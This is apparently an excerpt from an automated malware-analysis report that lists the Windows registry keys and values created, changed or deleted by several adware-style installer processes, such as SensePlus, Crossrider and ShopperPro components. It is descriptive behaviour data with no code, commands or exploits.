[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Verifier" = "e9d6e2e9e6a34b6d6a4be51af1aeacc2"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"DisplayVersion" = "1.36.01.22"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\InstalledBrowserExtensions\20891\Status]
"Installed" = "1"

[HKLM\SOFTWARE\InstalledBrowserExtensions\20891]
"70299" = "SensePlus"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "B8 A7 B9 8C 7C 80 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"DisplayIcon" = "%Program Files% (x86)\SensePlus\utils.exe"

[HKCU\Software\AppDataLow\Software\Crossrider]
"Verifier" = "e9d6e2e9e6a34b6d6a4be51af1aeacc2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\20891\Status]
"Installed" = "1"

[HKLM\SOFTWARE\Wow6432Node\SensePlus\Installer]
"BundledFirefox" = "1"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Bic" = "d5d8d8a61601751d467a5854a16ce35aIE"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\20891]
"70299" = "SensePlus"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"Publisher" = "Sense "
"DisplayName" = "SensePlus"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 53 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"CrAppId" = "70299"
"UninstallString" = "%Program Files% (x86)\SensePlus\Uninstall.exe /fcp=1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\InstalledBrowserExtensions\20891]
"70299" = "SensePlus"

[HKCU\Software\InstalledBrowserExtensions\Sense ]
"70299" = "SensePlus"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\InstalledBrowserExtensions\20891\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecisionReason" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process DCytaiesmt_smtyc_setup.exe:3500 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "40 EE F2 87 7C 80 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadNetworkName" = "Network 4"
"WpadDecisionTime" = "53 2E 64 8A 7C 80 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4D 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process DCytaiesmt_smtyc_setup.exe:3240 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "40 EE F2 87 7C 80 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadNetworkName" = "Network 4"
"WpadDecisionTime" = "F5 D7 74 8A 7C 80 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4E 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process DCytaiesmt_smtyc_setup.exe:3436 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "6D F2 65 74 7C 80 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadNetworkName" = "Network 4"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"InstallStr" = "ok"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecisionTime" = "00 AB 70 81 7C 80 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"Install" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecisionReason" = "1"

[HKCU\Software\Classes\Local Settings\MuiCache\2C\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 49 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer" = "2"
"MaxConnectionsPer1_0Server" = "2"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process DCytaiesmt_smtyc_setup.exe:3972 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "6D F2 65 74 7C 80 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadNetworkName" = "Network 4"
"WpadDecisionTime" = "2F 49 CA 80 7C 80 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 47 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process DCytaiesmt_smtyc_setup.exe:3656 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "F5 D7 74 8A 7C 80 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadNetworkName" = "Network 4"
"WpadDecisionTime" = "B8 A7 B9 8C 7C 80 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 51 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process DCytaiesmt_smtyc_setup.exe:1660 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "F5 D7 74 8A 7C 80 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadNetworkName" = "Network 4"
"WpadDecisionTime" = "37 22 B0 8C 7C 80 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 50 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process spbiu.exe:3144 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Ult" = "Type: REG_QWORD, Length: 8"

The process spbiu.exe:3740 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Gcf" = "D9 91 CF EC EE 40 F4 7E 74 E4 CF FB 2F 99 75 C3"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd\Users\Default]
"Ucf" = "AF 19 06 18 24 A7 78 A7 83 2B E1 77 84 81 A9 3B"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Scf" = "68 2C 7B C6 53 0B 42 2D 38 E1 B1 77 0D 96 9C 17"

The process F391.tmp:2924 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "00 AB 70 81 7C 80 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadNetworkName" = "Network 4"
"WpadDecisionTime" = "B8 47 B0 87 7C 80 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4A 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process 59003547-0edf-49aa-8bfd-5cf9d4d1a47b-4.exe:1636 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKLM\SOFTWARE\Wow6432Node\SensePlus\BdC8v2inq6DW0g 17Itij/Ao6qs7VY2UO/GLLUG vwECX0QzvPokNprJa 54LBUUswWEm5FuqOnu5tFjnTqkaee0MtijumFPn5RIL3h694Qb26mrJ47q4ZppeNcqx5gSlSy5rqRSjxMv SwJaW0v4syWcWjxlduFPAWXIrOGxo8=]
"Ep6RiGazZALFlmrTnWf1Z5S23oPOb5Bdil0Tu6jOzEGh4I/ pY/mBVxLTMDLxoAWZLmghf/uhnKXU2ew/DoyBxlJZSV EJNyM3nX5DIcxGhQnPmv0Vh3JNSqHfUZQcT8ztyH69YC/0L5MiY400AtutKJLFyGrRrRZ1aJs0z5o7M=" = "1"

